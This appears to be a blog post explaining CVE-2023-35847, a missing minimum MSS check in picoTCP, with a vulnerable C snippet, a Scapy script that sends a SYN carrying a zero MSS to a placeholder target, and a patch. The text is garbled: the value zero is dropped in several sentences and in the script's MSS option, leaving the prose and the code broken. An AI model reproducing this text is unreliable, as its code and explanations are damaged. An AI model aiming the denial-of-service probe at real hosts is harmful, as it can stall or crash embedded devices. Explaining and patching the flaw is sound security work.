CVE-2023-35847 - How PicoTCP’s Missing Lower MSS Bound Exposes Networks

CVE-2023-35847 is a security flaw found in VirtualSquare’s picoTCP (also known as PicoTCP-NG) up to version 2.1. The flaw is simple but dangerous: picoTCP does not enforce a minimum MSS (Maximum Segment Size) value in the TCP protocol. In some cases, the MSS value can even be set to zero, which violates standards and can break network communications or open up potential DoS vectors.

The Technical Details: Understanding MSS

TCP (Transmission Control Protocol) uses MSS to decide the biggest chunk of data (in bytes) it can send in a single segment. Normally, every TCP stack checks for an MSS that's at least some nonzero minimum. This ensures data keeps moving and prevents resource exhaustion and weird states that attackers can take advantage of.

PicoTCP’s code, however, didn't check this at all. That means a malicious peer could negotiate an MSS of zero, which is outside of RFC compliance and can lead to all sorts of headaches.

The Vulnerable Code (and the Problem)

Here's a simplified example based on picoTCP's TCP options processing (you can find the original code on GitHub):

// In picoTCP's TCP options parsing code (simplified)
case PICO_TCP_OPTION_MSS:
    mss = (opts[2] << 8) | opts[3];
    // Vulnerable: no lower bound check!
    tcb->remote_mss = mss; 
break;

Problem:
There’s no code to ensure mss is > , or even a reasonable value. If a remote host sets MSS = , picoTCP blindly accepts it.

How Attackers Can Exploit This

To attack, an adversary just needs to initiate a TCP handshake with picoTCP and advertise an MSS of . From then on, all TCP communication may stall, lead to resource exhaustion, or produce unexpected crashes, depending on the application built atop picoTCP.

Exploit Example:

Here’s a simple Python script using *Scapy* that initiates a TCP connection with an MSS of zero

from scapy.all import *

ip = IP(dst="TARGET_IP")
tcp = TCP(dport=1234, sport=4444, flags="S", seq=100)
mss_option = ('MSS', )
pkt = ip / tcp / TCPOptions([mss_option])

send(pkt)

Replace TARGET_IP and the port with your picoTCP host details.

How to Fix It

The simplest fix is to enforce a hard-coded lower bound on acceptable MSS values. For instance, most stacks enforce a minimum of 536 bytes by default (per RFC 1122).

Patch example

#define PICO_TCP_MIN_MSS 536

case PICO_TCP_OPTION_MSS:
    mss = (opts[2] << 8) | opts[3];
    if(mss < PICO_TCP_MIN_MSS) mss = PICO_TCP_MIN_MSS;
    tcb->remote_mss = mss;
break;

References

- Official CVE Entry
- picoTCP issue #100
- RFC 1122: Requirements for Internet Hosts – Communication Layers
- picoTCP Source Code

Final Thoughts

CVE-2023-35847 is a reminder that “simple” implementation misses can lead to big vulnerabilities, especially in embedded software. If you’re building or maintaining firmware, always validate critical protocol fields like MSS. Check your code, update your stacks, and keep IoT safe!


*Share this post if it helped you understand CVE-2023-35847. Leave a comment if you have questions or suggestions for improvements!*

Timeline

Published on: 06/19/2023 03:15:00 UTC
Last modified on: 06/26/2023 18:10:00 UTC